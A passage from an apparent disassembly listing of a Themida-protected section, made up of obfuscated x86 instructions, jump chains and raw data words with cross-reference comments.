		dd 8BD988FFh, 89E9241Ch, 81FFFF5Eh, 1203B7EFh, 81D70129h
		dd 1203B7C7h, 1FC78129h, 8B227660h, 0B5E92414h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D937:				; CODE XREF: Themida_:0059FEF6j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5A083A
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FFDB2BE9h
		db 0FFh
byte_59D955	db 56h,	81h, 0ECh	; DATA XREF: Themida_:0058E090o
		dd 4, 53242489h, 4BBh, 354BE900h, 0C581FFFFh, 593E3B47h
		dd 0DFE9EB01h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D977:				; CODE XREF: Themida_:00597FAAj
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_594BA8
; ---------------------------------------------------------------------------


loc_59D98D:				; CODE XREF: Themida_:0059DFD2j
		mov	ecx, 6C273FCEh
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 1718417Eh
		pop	ebx
		push	eax
		mov	eax, 631056F9h
		jmp	loc_5960ED
; ---------------------------------------------------------------------------


loc_59D9AE:				; CODE XREF: Themida_:005A0E91j
		push	eax
		mov	eax, 65F24F5Bh
		sub	eax, 1
		jmp	loc_59BD38
; ---------------------------------------------------------------------------
dword_59D9BC	dd 0E92434FFh, 0FFFFA904h; ---------------------------------------------------------------------------


loc_59D9C4:				; CODE XREF: Themida_:0059F060j
		dec	edi
		not	edi
		and	edi, 4C4F6C7Eh
		add	edi, 1
		shr	edi, 3
		sub	edi, 0B1E96F35h
		mov	ebx, edi
		pop	edi
		shr	ebx, 7
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 48A65FF6h
		mov	eax, ecx
		pop	ecx
		sub	eax, 79C35326h
		and	eax, 63602FC8h
		or	eax, 46C5503Bh
		sub	eax, 0FBA82AC3h
		and	ebx, eax
		pop	eax
		neg	ebx
		jmp	loc_5A0766
; ---------------------------------------------------------------------------
		dd 7327CE81h, 81462693h, 78503FEEh, 8111E90Ch
		db 2 dup(0FFh)
word_59DA1E	dw 8B66h		; DATA XREF: Themida_:0058E2A0o
		dd 8268240Ch, 89000024h, 0E4E92434h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DA2F:				; CODE XREF: Themida_:005992F1j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 47454A24h
		shl	ebx, 4
		push	eax
		push	ecx
		mov	ecx, 48F65608h
		push	ebp
		jmp	loc_599062
; ---------------------------------------------------------------------------
		db 55h,	31h, 34h
		dd 24343324h, 0F7243431h, 2A65E9D6h, 0D4BEFFFFh, 8157B03Dh
		dd 6A38A8F6h, 0E9F0295Ah, 3D62h, 34FFD304h, 0E9575924h
		dd 0FFFF4D72h, 4C481h, 0EC830000h, 242C8904h, 42474FFh
		dd 0FF52F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DA91:				; CODE XREF: Themida_:0059F48Cj
		xor	esi, eax
		pop	eax
		push	4647h
		jmp	loc_596159
; ---------------------------------------------------------------------------
		dw 4141h
		dd 1E7DBF57h, 0CF816B14h, 4B937D93h, 9C0F781h, 0CF8122B2h
		dd 36A23461h, 4F0ACF81h, 0C78169ADh, 4D1340D6h,	3378F781h
		dd 0F901002Bh, 59CF015Fh, 8702C783h, 0E95C243Ch, 0FFFFBC72h
		dd 8B240C33h, 2CD32424h, 68E99C24h
		db 8, 2	dup(0FFh)
byte_59DAEB	db 0FFh			; DATA XREF: Themida_:0058E238o
		dd 669D1C77h, 2414D359h, 859E99Ch, 0B60FFFFFh, 8734FFC0h
		dd 66D96852h, 0E8E94198h, 87FFFFEBh, 535C242Ch,	19E95B54h
		dd 89000025h, 4C381E3h,	0E9000000h, 0FFFFED85h,	8924248Bh
		dd 6852242Ch, 76A7h, 89243489h,	0E9F289DEh, 0FFFF762Bh
		dd 507B6852h, 58E90000h
		db 8, 2	dup(0FFh)
byte_59DB47	db 66h			; DATA XREF: Themida_:0058E234o
		dd 6824048Bh, 6A91h, 54240C89h,	81240C8Bh, 4C4h, 195EE900h
		dd 34810000h, 0CC072124h, 6E50E92Ch, 0E946FFFFh, 0FFFF8EF0h
		dd 0C580CDFEh, 6BF580C1h, 0FF83A1E9h, 8BC629FFh, 0C4832404h
		dd 74FF5604h, 8F5E0424h, 685C2404h, 52Bh, 81242489h, 42404h
		dd 0CDE90000h, 5BFFFF5Eh, 4C481h, 148B0000h, 4C48324h
		dd 6802C083h, 528Ch, 0E9240489h, 2A8Bh,	0A7D6E957h, 2D5BFFFFh
		dd 577C7843h, 0E958C529h, 1001h, 19126857h, 505F04C1h
		dd 9C3F1FB8h, 0A354041h, 2D693847h, 0C2E19009h,	8958C701h
		dd 0F5815FFDh, 366C2980h, 815DEA29h, 776A60C2h,	81DA2962h
		dd 776A60EAh, 0B3C28162h, 815CE828h, 0A41ACEEAh, 241C8B01h
		dd 4C481h, 2CE90000h, 81FFFF07h, 0EA756EF7h, 78E95018h
		dd 68FFFF68h, 74350343h, 0FF0DFAE9h, 247C31FFh,	5998E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DC46:				; CODE XREF: Themida_:0059886Bj
		pop	esp
		mov	[esp], esi
		push	ebx
		pop	esi
		mov	eax, esi
		jmp	loc_5A1E2F
; ---------------------------------------------------------------------------
		db 68h
		dd 1B58h, 89241489h, 0B95155E2h, 452D7CC3h, 0E9F799BDh
		dd 59CD2990h, 46A268h, 24348900h, 0C681E689h, 4, 5604EE83h
		dd 42474FFh, 24048F5Eh,	8924248Bh, 0AABA2414h, 0C1320807h
		dd 0F28107EAh, 19432C0Dh, 27E5E9h, 243C8B00h, 8104C483h
		dd 4268F0F6h, 0C1DEF775h, 0F68107E6h, 0F078A000h, 34FFF021h
		dd 2434FF24h, 4C4815Eh,	68000000h, 5BA1h, 54241489h, 4C2815Ah
		dd 0E9000000h, 0FFFFB201h, 3C4CEB81h, 0C3014E85h, 3C4CC381h
		dd 87584E85h, 0E95C241Ch, 0FFFF3687h, 3D137B05h, 26E95606h
		dd 5BFFFFE7h, 0FF1395E9h, 4A18BAFFh, 0D2F71039h, 5A74C281h
		dd 12E91D5Ah, 53FFFF65h, 0B05EABBBh, 5E3C147h, 82EF381h
		dd 0EB8737F3h, 0EB87D5F7h, 5289EB81h, 0EB816E45h, 8731511Ah
		dd 2C49E9h, 0E9FE8900h,	0FFFFFF5Dh, 59CB8959h, 3E9DE01h
		db 93h,	2 dup(0FFh)
byte_59DD4F	db 0ACh			; DATA XREF: Themida_:0058E2ACo
		db 30h,	0D8h, 51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A0F66
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 0FF545624h, 815E2434h, 4C4h,	0C2B85000h, 0E92FBF31h
		dd 0FFFF651Ah, 0ADE68h,	24148900h, 0D2E94FB2h, 100000Bh
		dd 0E9515FFBh, 0FFFFCEACh, 3FE9F829h, 0E9FFFF3Ah, 0FFFF05B3h
		dd 33241C31h, 2D5C241Ch, 547208B5h, 0B505D001h,	51547208h
		dd 5830C1B9h, 6E9C13Ch,	1F86E181h, 0D4E97E34h, 81FFFF18h
		dd 242113EDh, 22ED8152h, 8960C97Eh, 1642E9EFh, 3C8BFFFFh
		dd 4C48324h, 685AD101h,	126Fh, 55241489h, 2BDh,	0E9EA8900h
		dd 0FFFF8614h, 8BF02858h, 0EC812414h, 4, 89240C89h, 4C181E1h
		dd 83000000h, 0C8704C1h, 8C99E924h, 248BFFFFh, 9954E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DE22:				; CODE XREF: Themida_:005A284Fj
		push	eax
		jmp	loc_599DD9
; ---------------------------------------------------------------------------
		dd 68E9E189h, 89FFFFF2h, 1DE9240Ch, 8900001Fh, 0ED815BDDh
		dd 6DEB362Eh, 629CB850h, 0C14069BEh, 0E0C105E8h, 1DD3E908h
		dd 6C810000h, 5EED0424h, 0FF5E046Eh, 1C8B2434h,	2A11E924h
		dd 895C0000h, 0BB532434h, 2D9449Ah, 81D3F743h, 0D944A0C3h
		dd 8BDE8902h, 0C481241Ch, 4, 4CA3C381h,	0A3685F73h, 8900007Fh
		dd 41BF243Ch, 816CB86Eh, 0D5646FCFh, 4E7C173h, 0F704E7C1h
		dd 4E7C1DFh, 2698BA52h,	0E2D142EFh, 20ECBD55h, 0CD81593Ch
		dd 0DB74ECBh, 0ECE9D5F7h, 59FFFFECh, 8B5FFA89h,	1BE9242Ch
		dd 81FFFF6Eh, 991788C1h, 0E9835B68h, 0E2CAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DEDE:				; CODE XREF: Themida_:005A195Aj
		pop	esp
		add	ebx, 4
		push	eax
		jmp	loc_592331
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4812434h, 4, 8B24048Fh,	8B662424h, 5457240Ch
		dd 4EC835Fh, 0BB241C89h, 4, 4330EF81h, 0EF811D74h, 0DC55B6Ch
		dd 2B2C781h, 59E91A79h,	56FFFFEAh, 0E953E689h, 0FFFFE065h
		dd 15DEF89h, 243C8BF8h,	2948E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DF3D:				; CODE XREF: Themida_:0059327Bj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_597FA9
; ---------------------------------------------------------------------------
		dd 0E9C8215Eh, 0FFFF6EB5h, 81E68956h, 4C6h, 33CA6800h
		dd 14890000h, 0BBF5724h, 817BF328h, 0F3280FF7h,	5FFA897Bh
		dd 148BD601h, 4C48324h,	2474FF56h, 48F5E04h, 0F8E95C24h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59DF87:				; CODE XREF: Themida_:0059445Bj
		xor	dl, cl
		xor	cl, dl
		xor	dl, cl
		sub	dl, 48h
		add	al, dl
		pop	edx
		push	small 5BA8h
		jmp	loc_590753
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF981Ah, 481505Bh, 39587124h,	0CCE95B40h
		dd 0B9000032h, 0
		dd 0FF6093E9h
		db 0FFh
byte_59DFBD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E2D8o
		dd 0E6895624h, 5890BB53h, 0F7E92656h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DFCF:				; CODE XREF: Themida_:0059A9FCj
		mov	[esp], ecx
		jmp	loc_59D98D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFC2A3E9h, 348B5EFFh, 47736824h, 3E90000h, 0BFFFFF9Eh
		dd 54237E09h, 8107E7C1h, 0F007EAF7h, 0EFC14F21h, 49C78107h
		dd 8935A285h, 0F3215FFEh, 4DEB815Eh, 811FCB3Eh,	42A9C2C3h
		dd 5BD92998h, 0C8BCB01h, 4C48324h, 6AD9EB81h, 0F3016D07h
		dd 6AD9C381h, 0EB816D07h, 698458F0h, 55C3015Eh,	2E7C2ABDh
		dd 0C1F58128h, 29333C0Dh, 1052E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E04A:				; CODE XREF: Themida_:005947BDj
		dec	ebp
		jmp	loc_591BD6
; ---------------------------------------------------------------------------
		dd 0CF58BF57h, 0FB3156C6h, 4FF3E95Fh, 89530000h, 0F3FEE9E3h
		dd 0F752FFFFh, 815A2414h, 407F88C2h, 5AD60188h,	1955E9h
		dd 4BE00h, 0F3010000h, 4EB815Eh, 0E9000000h, 0FFFF9FA1h
		dd 6262C781h, 0D7E94866h, 55FFFF30h, 8B05C6BDh,	6E5C149h
		dd 0FF0620E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E0A5:				; CODE XREF: Themida_:00592DC1j
		push	edx
		mov	dh, 0A1h
		inc	dh
		shr	dh, 5
		shl	dh, 6
		jmp	loc_59CF3F
; ---------------------------------------------------------------------------


loc_59E0B5:				; CODE XREF: Themida_:005A2DECj
		push	edx
		push	4C70h
		jmp	loc_590024
; ---------------------------------------------------------------------------
		dd 0F2C18159h, 5B202448h, 34FFC821h, 240C8B24h,	4C481h
		dd 0EF680000h, 89000056h, 0E589242Ch, 4C581h, 0BAE90000h
		dd 87FFFFBFh, 0AE9243Ch, 1FFFF18h, 0CA015EF1h, 83240C8Bh
		dd 0BE904C4h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E103:				; CODE XREF: Themida_:0059B54Bj
		mov	[esp], edx
		push	3127h
		jmp	loc_58F51D
; ---------------------------------------------------------------------------


loc_59E110:				; CODE XREF: Themida_:0058E673j
		neg	ch
		jmp	loc_5A0647
; ---------------------------------------------------------------------------
		db 1
		dd 0FFF05E8h, 0E95D610Eh, 0FFFF1E6Fh, 9DE95B66h, 81FFFF54h
		dd 0BC5626C7h, 3AC3810Bh, 2970346Fh, 491FE9FBh,	0F5290000h
		dd 242C875Eh, 243C895Ch, 29BF68h, 5029E900h, 0E952FFFFh
		dd 0FFFFB3E7h
dword_59E158	dd 582434FFh, 31D868h, 24048900h, 0FFB818E9h, 0EA0BDFFh
					; DATA XREF: Themida_:0058E0ACo
		dd 0EB013B04h, 0E953525Dh, 0FFFFE157h
; ---------------------------------------------------------------------------


loc_59E178:				; CODE XREF: Themida_:0059FC8Aj
		pop	eax
		push	6349h
		mov	[esp], esi
		push	esp
		jmp	loc_597979
; ---------------------------------------------------------------------------
byte_59E187	db 0FFh			; DATA XREF: Themida_:0058E110o
		dd 34FF2434h, 0ABFE924h, 34870000h, 24D25C24h, 80E99C24h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E19F:				; CODE XREF: Themida_:0059089Cj
		add	esi, edx
		add	esi, 1A111839h
		pop	edx
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_592631
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9243489h, 0FFFF3FB8h, 81240489h, 4ECh, 24348900h
		dd 0FFF159E9h, 1C895CFFh, 34FF5424h, 86E95B24h,	0B9FFFF19h
		dd 0E1A0785h, 315DC981h, 0E9C1625Fh, 76E98107h,	52785F5Fh
		dd 0DD2E30BAh, 0E9D131B5h, 0FFFF3B03h, 7A0FED81h, 815F064Dh
		dd 4ECh, 24348900h, 2BEh, 5EF50100h, 0CABAE955h, 0E95FFFFFh
		dd 0FFFFED99h
; ---------------------------------------------------------------------------


loc_59E228:				; CODE XREF: Themida_:005973F2j
		pop	eax
		jmp	loc_598B7A
; ---------------------------------------------------------------------------
		dw 0E94Bh
		dd 1A1Ch, 104C483h, 3BE981E9h, 0FF7A484Ah, 0C0E92434h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E247:				; CODE XREF: Themida_:005963F4j
		add	ecx, edx
		pop	edx
		jmp	loc_59AF84
; ---------------------------------------------------------------------------
		db 81h
		dd 843F39C6h, 0E2685D1Eh, 89000061h, 4BF243Ch, 1000000h
		dd 34875FFEh, 3DEBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E26E:				; CODE XREF: Themida_:0059462Cj
		sub	esi, 5E3651D6h
		sub	esi, 681941B2h
		jmp	loc_5A164D
; ---------------------------------------------------------------------------
		db 56h
		dd 9BE9E689h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E287:				; CODE XREF: Themida_:0059157Ej
		sub	edi, 45DF7388h
		jmp	loc_592D2A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC815F24h, 4, 68240489h, 1F70h, 81242489h, 42404h
		dd 48B0000h, 4C48324h, 405h, 46E95200h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E2BF:				; CODE XREF: Themida_:0059CA7Bj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5902F4
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 42C38106h, 81474941h, 0A49240F3h, 0E9D88967h, 0FFFFFCBCh
; ---------------------------------------------------------------------------


loc_59E2E8:				; CODE XREF: Themida_:0059B202j
		mov	[esp], ecx
		jmp	loc_59EB47
; ---------------------------------------------------------------------------
		dd 0BA52E089h, 1CB4243Ch, 0C2CA814Ah, 0E9403549h, 0FFFF3B7Ah
		dd 0D1F7CE87h, 9FE9CE87h, 83FFFF5Bh, 48904ECh, 0A685324h
		dd 5B169E43h, 68F38143h, 89516E2Ah, 7171E9D8h, 0C381FFFFh
		dd 3F881A13h, 0FF0A44E9h, 7B9AB8FFh, 0BBE9A994h, 8BFFFF33h
		dd 6DE92434h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E347:				; CODE XREF: Themida_:00597170j
		pop	ebx
		add	esp, 4
		pop	ebx
		add	ebx, 3B5B2DEEh
		jmp	loc_594EB0
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 8B24048Fh, 14892424h, 0F2685724h,	0E949D97Bh
		dd 3D05h
; ---------------------------------------------------------------------------


loc_59E374:				; CODE XREF: Themida_:005A0DADj
		push	edx
		mov	edx, 254749C9h
		inc	edx
		add	edx, 1D150FC8h
		jmp	loc_59FC8F
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 570F09B2h, 761068h, 242C8900h, 8B2414F7h, 0C481242Ch
		dd 4, 5707EDC1h, 4DB8B951h, 0E1810ED6h,	28981678h, 5E98141h
		dd 8122CE56h, 8A0A57C1h, 0E9CF89F7h, 0FFFF6AB2h
; ---------------------------------------------------------------------------


loc_59E3C4:				; CODE XREF: Themida_:0058F6F9j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		push	464Dh
		mov	[esp], edx
		push	10h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58F558
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 8900001Ah, 0DEE92434h, 86000016h, 0F6012464h, 246486D4h
		dd 0E95B6601h, 0FFFF2F59h, 74C168h, 24048900h, 0E688FC88h
		dd 8B2434FFh, 89562404h, 0D4BD55E6h, 0C10F6503h, 0E5C108EDh
		dd 36E58103h, 8143407Dh, 200564EDh, 58C58105h, 104DFDDh
		dd 0EAE95DEEh, 8BFFFF00h, 1AE9241Ch, 0C1FFFF1Ah, 0C58107EDh
		dd 1A1F3C5Dh, 289CBA52h, 0CA817DD3h, 6A2D56DFh,	6E9D2F7h
		dd 81FFFF91h, 4C4h, 1E95B00h, 0BEFFFF94h, 683553B0h, 2223F681h
		dd 814E52D6h, 0DC626DE6h, 2FC68179h, 81037330h,	0B0CD94C6h
		dd 5EF301FFh, 4CEB81h, 0C301325Dh, 2FE95750h, 89FFFF82h
		dd 4B26E9E0h, 814F0000h, 0FC0CC6F7h, 81D7F71Eh,	15305E7h
		dd 0AA86849h, 1C890000h, 7A31BB24h, 0FAE948F4h,	31000047h
		dd 0E08950C8h, 405h, 2B54E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E4E2:				; CODE XREF: Themida_:00597BD9j
		push	3D9Bh
		jmp	loc_599FBC
; ---------------------------------------------------------------------------


loc_59E4EC:				; CODE XREF: Themida_:00598641j
		shr	ebp, 7
		add	ebp, 1B30A879h
		xor	eax, ebp
		pop	ebp
		jmp	loc_5A118A
; ---------------------------------------------------------------------------


loc_59E4FD:				; CODE XREF: Themida_:0059B739j
		sub	edi, esi
		add	edi, 99D0F40h
		jmp	loc_5947AE
; ---------------------------------------------------------------------------


loc_59E50A:				; CODE XREF: Themida_:005A3031j
		pop	ecx
		jmp	loc_5911FB
; ---------------------------------------------------------------------------
		dd 5EF0095Bh, 0DB7CF535h, 3DED812Dh, 814E3441h,	815BBEC5h
		dd 5ED8158h, 1422135h, 5C581C5h, 81422135h, 815BBEEDh
		dd 3DC58158h, 8B4E3441h, 89502404h, 405E0h, 2EE90000h
		dd 5B000007h, 0FF12ACE9h, 24248BFFh, 721A68h, 24048900h
		dd 0FF7C6BE9h, 55854FFh, 4, 5004E883h, 42474FFh, 0FF6A1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E579:				; CODE XREF: Themida_:005987C4j
		push	edi
		mov	edi, 21143054h
		shr	edi, 5
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 0FF7D38E9h, 94E95BFFh, 51FFFF84h, 4B9h
		dd 0FFCB2900h, 81592434h, 4C4h,	2E53E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E5B2:				; CODE XREF: Themida_:00591169j
		push	ebp
		mov	ebp, 2CF53DA2h
		mov	ebx, 57E9DA70h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, ebx
		jmp	loc_590BFB
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 243C8904h, 18D4E954h, 0E8C1FFFFh, 4EC8108h
		dd 89000000h, 7BB241Ch,	0E96D3303h, 0FFFF2D2Dh,	83241C8Bh
		dd 56604C4h, 1665A39h, 392D66F8h, 243C8B5Ah, 6604C483h
		dd 662D842Dh, 0AAE9D801h, 80FFFF81h, 0E1800FC1h, 8382E910h
		dd 0C483FFFFh, 0FFBA5204h, 29FFFFFFh, 0F5815AD5h, 46C810FBh
		dd 0FFCAA1E9h, 58C789FFh, 8147D7F7h, 0DE59AFE7h, 37BE5621h
		dd 31633A42h, 18D5E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E652:				; CODE XREF: Themida_:005947EAj
		or	ebx, ebx
		jnz	loc_59810A
		push	eax
		push	20h
		push	dword ptr [esp]
		jmp	loc_59A923
; ---------------------------------------------------------------------------


loc_59E668:				; CODE XREF: Themida_:005948FEj
		mov	ecx, esp
		jmp	loc_58FD3E
; ---------------------------------------------------------------------------


loc_59E66F:				; CODE XREF: Themida_:0058EF93j
		mov	ebp, 75394E82h
		add	ebp, 0FFFFFFFFh
		xor	ebp, 47902C7Ch
		or	edi, ebp
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_593A63
; ---------------------------------------------------------------------------
		db 4, 0B0h, 0E9h
		dd 0FFFFE1C7h
; ---------------------------------------------------------------------------


loc_59E698:				; CODE XREF: Themida_:005A188Dj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_5A1796
; ---------------------------------------------------------------------------
		dd 0F704E8C1h, 0E0C148D0h, 8ED83502h, 0C629B253h, 0FF24DBE9h
		dd 243487FFh, 252EE95Ch, 0C481FFFFh, 4,	4C181h,	0C9E90000h
		dd 87FFFFF8h, 31D6F7F2h, 31D631F2h, 3ACCE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E6E2:				; CODE XREF: Themida_:005983CEj
		add	esp, 4
		push	5CA0h
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		jmp	loc_59CBF4
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EAh
		dd 5A800D6Ah, 0C281FA01h, 5A800D6Ah, 81FC281h, 0E9534B43h
		dd 48A4h, 3109BF57h, 8BE902EFh
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E71B:				; CODE XREF: Themida_:0059F69Ej
		pop	esp
		jmp	loc_59CB40
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 53h
		dd 5227B6BBh, 5BDA0914h, 8108EAC1h, 1D751FE2h, 52B7E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E73A:				; CODE XREF: Themida_:00590A62j
		pop	edx
		pop	edi
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59D4A0
; ---------------------------------------------------------------------------


loc_59E749:				; CODE XREF: Themida_:005A2E93j
		mov	edx, 4EE57D37h
		shr	edx, 6
		not	edx
		inc	edx
		neg	edx
		xor	edx, 3060573Bh
		shr	edx, 8
		jmp	loc_5963EB
; ---------------------------------------------------------------------------


loc_59E764:				; CODE XREF: Themida_:00591114j
		add	esi, 4
		add	esi, 4
		jmp	loc_59B122
; ---------------------------------------------------------------------------


loc_59E775:				; CODE XREF: Themida_:005984D6j
		mov	ch, 0ACh
		xor	bh, ch
		pop	cx
		xor	bh, 98h
		sub	bh, 0D6h
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, ch
		add	al, 13h
		jmp	loc_5A20FE
; ---------------------------------------------------------------------------
		db 53h,	81h, 0ECh
		dd 4, 68241489h, 5ECF6095h, 0A0F2815Ah,	890ADA43h, 0DBF75AD3h
		dd 2339C381h, 0BE565415h, 56EC5143h, 1B1FE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E7C2:				; CODE XREF: Themida_:005A25A2j
		push	eax
		mov	eax, 11B56B90h
		shl	eax, 2
		neg	eax
		sub	eax, 7D7E68D7h
		jmp	loc_5A16DB
; ---------------------------------------------------------------------------


loc_59E7D7:				; CODE XREF: Themida_:0059D5B4j
		push	588h
		mov	[esp], ecx
		mov	cl, 19h
		not	cl
		jmp	loc_598FCE
; ---------------------------------------------------------------------------
		dd 4B5AD329h, 45C6BD55h, 0F5814509h, 0B752A8F3h, 8AE9EB29h
		dd 52FFFF24h
dword_59E800	dd 264D73BAh, 481524Fh,	727CC724h, 0E953584Ah, 0FFFF5FDBh
					; DATA XREF: Themida_:00582674o
		dd 4E946857h, 3C8B5549h, 4C48324h, 0EF81DFF7h, 0AAB6B168h
		dd 55CAC181h, 0F9010193h, 55CAE981h, 0C8E90193h, 81FFFFEDh
		dd 661F4DE5h, 14F75518h, 0A0E95D24h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E84B:				; CODE XREF: Themida_:00594830j
		inc	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		not	ebx
		xor	ebx, 7557BACAh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_59A108
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFAD54E9h, 0B75352FFh, 7256E9F5h, 0C4B9FFFFh, 0F764942Bh
		dd 0A2F181D1h, 81406217h, 247595E9h, 30BE964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E896:				; CODE XREF: Themida_:005919F8j
		add	ebp, 994F1856h
		add	eax, ebp
		jmp	loc_5A0CA8
; ---------------------------------------------------------------------------
		db 1
		dd 30BE56DAh, 0C14D701Ch, 0CE8108EEh, 218464F3h, 2B65E9h
		dd 0E9E58900h, 4679h, 6424248Bh, 88E90288h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_59E8CB:				; CODE XREF: Themida_:005A1994j
		sub	ecx, ebp
		pop	ebp
		shl	ecx, 1
		xor	ecx, 66837B42h
		xor	ecx, 56BEB3B8h
		push	ecx
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_595E6E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0C105E8C1h, 565108E0h, 0F179DBEh, 5EF18917h,	0C9E98149h
		dd 318C13B6h, 32E959C8h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E907:				; CODE XREF: Themida_:00598A89j
		xor	[esp], ecx
		jmp	loc_5909E4
; ---------------------------------------------------------------------------
		dd offset word_5C685A
		align 4
		dd 240C8900h, 0FF3428E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E91D:				; CODE XREF: Themida_:005A0CC2j
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_59297C
; ---------------------------------------------------------------------------
		dd 5C241487h, 81E68956h, 4C6h, 4EE8300h, 0E9243487h, 3674h
		dd 8B2434FFh, 52E9243Ch, 53FFFF6Ch, 0D2377EBBh,	5BD82923h
		dd 4810E9h, 0B0C38000h,	0EB80D300h, 24148BB0h, 51E08950h
		dd 4B9h, 0E9C80100h, 0FFFF1333h, 0C3C98BAh, 5AD68946h
		dd 0CC4FE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E986:				; CODE XREF: Themida_:005A0E53j
		mov	[esp], edx
		add	byte ptr [esp],	0FFh
		push	dword ptr [esp]
		jmp	loc_59D01D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF34C5E9h, 4BAFFh, 0EE810000h, 56131577h, 0C681D601h
		dd 56131577h, 0FFB90EE9h, 3EE5BFFFh, 4AE90D36h,	81FFFF4Bh
		dd 9108ADF5h, 5DE92988h, 21E4C981h, 0E9C17161h,	1DC98103h
		dd 0E918C004h, 0FFFF4FDCh, 38DBF281h, 0D609688Bh, 15F6815Ah
		dd 511BC93Dh, 0C74DDCB9h, 0B3F4E925h, 0D8F7FFFFh, 0FFFFFF05h
		dd 5F2868FFh, 0A9E90000h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EA07:				; CODE XREF: Themida_:0059ED5Aj
		pop	ecx
		push	2FFFh
		mov	[esp], ebx
		push	edx
		push	162Fh
		mov	[esp], ecx
		mov	cl, 0ADh
		push	ecx
		mov	ch, 0A9h
		mov	dl, 5Ch
		add	dl, ch
		pop	ecx
		sub	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		push	bx
		mov	bh, 49h
		xor	dl, bh
		pop	bx
		push	ax
		mov	al, dl
		not	al
		mov	dl, al
		pop	ax
		shr	dl, 7
		push	ebx
		mov	bl, 3Bh
